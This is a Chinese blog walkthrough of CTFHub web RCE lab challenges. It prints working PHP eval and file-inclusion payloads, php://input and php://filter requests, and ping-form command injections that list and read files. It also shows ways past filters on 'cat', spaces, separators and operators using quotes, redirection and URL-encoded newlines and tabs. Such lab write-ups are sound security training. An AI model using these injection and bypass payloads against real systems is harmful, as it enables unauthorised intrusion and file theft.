CTFHub-web(RCE)

eval执行

打开关卡
在这里插入图片描述意思是判断cmd是否被设置,若cmd被赋值,则执行如下语句,否则就继续显示以上代码。
我们先在url后输入

?cmd=system("ls");

查看根目录

在这里插入图片描述

然后输入

?cmd=system("ls /");

返回上一级
在这里插入图片描述
flag很显眼然后输入

?cmd=system("cat /文件名");

得到flag
在这里插入图片描述

文件包含

我们打开关卡
在这里插入图片描述有个shell按钮,我们点击
在这里插入图片描述这里使用火狐Hacker插件发现里面有个ctfhub变量,我们把shell.txt赋值给file

?file=shell.txt

再查看根目录
在这里插入图片描述
然后看到flag
在这里插入图片描述
我们输入

ctfhub=system("cat /flag");

即可得到flag

在这里插入图片描述

php://input

补充知识:
php://input是什么?
php:// ~ 来访问各个输入/输出流(I/O streams),php://input 是个可以访问请求的原始数据的只读流。POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。
它是PHP中一个只读的协议,使用时会将请求放在body中

简单的说php://input用于执行php代码。
首先我们看源码
在这里插入图片描述
然后点开phpinfo查看发现在这里插入图片描述

证明是可以使用php://input
然后我们使用burp抓包,构造
方法:POST
目标:/?file=php://input
Body:<?php system("ls /"); ?>

在这里插入图片描述
然后用cat查看
在这里插入图片描述得到flag

读取源代码

我们使用使用 php://input ,发现不成功,我们可以使用另一个
在这里插入图片描述
然后我们在url后添加

/?file=php://filter/resource=/flag

然后访问即可得到flag
在这里插入图片描述

远程包含

我们发现有strpos函数
在这里插入图片描述
可以使用php://input
在这里插入图片描述
然后我们使用burp抓包,修改

POST /?file=php://input 
<?php system("ls /")?>
<?php system("cat /flag")?>

在这里插入图片描述然后cat查看flag
发现flag
在这里插入图片描述

命令注入

进入页面后给出的源码,题目要求输入IP地址执行ping命令
在这里插入图片描述我们尝试输入127.0.0.1;ls
在这里插入图片描述有个文件我们用cat查看
输入

127.0.0.1;cat 272442575313345.php

ping后查看页面源代码即可得到flag
在这里插入图片描述

过滤cat

首先我们依然是ls查看当前目录
因为过滤掉了cat,我们使用 \ ‘’ “” {任意无意义变量名}等方法均可绕过
在这里插入图片描述
我们输入

127.0.0.1;c\at flag_170742479022746.php

查看页面源代码即可得到flag
在这里插入图片描述

过滤空格

首先我们依然是ls查看当前目录
因为空格被过滤了,我们可以使用 < 或 <> 重定向符来代替空格。
输入

127.0.0.1;cat<flag_154793093332529.php

查看页面源代码即可得到flag
在这里插入图片描述

过滤目录分隔符

首先我们依然是ls查看当前目录
在这里插入图片描述发现这里没有后缀了,再根据题目的提示,这就是个文件,我们需要进去,但是目录分隔符被过滤了,那么 ls …/ 这种命令就不能用了,那么我们先使用反斜杠查看这个文件夹里面的东东:

127.0.0.1;ls \flag_is_here

在这里插入图片描述
我们用;同时执行

127.0.0.1 ; cd flag_is_here;cat flag_313792881429974.php

查看页面源码即可得到flag

过滤运算符

在这里插入图片描述首先我们依然是ls查看当前目录
这里是过滤的运算符,我们用;代替&即可通关
跟上述步骤一样,然后查看页面源代码

127.0.0.1;ls
127.0.0.1;cat flag_13037231169954.php

在这里插入图片描述
得到falg

综合过滤练习

我们发现这道题能过滤的都过滤了
在这里插入图片描述第一步应该想办法查看当前文件夹的内容,我们使用换行符的url编码 %0a,并且去要在url中修改,这里我用的hacker插件
在这里插入图片描述

我们需要打开falg_is_here,但是已经过滤了falg
我们可以用Tab的url编码

?ip=127.0.0.1%0als%09*_is_here

因为cat被过滤了,我们可以使用单引号的url编码%27将cat的任意字母包裹

?ip=127.0.0.1%0acd%09*is_here%0ac%27a%27t%09*_231383221418137.php

然后执行完查看页面源代码即可得到flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值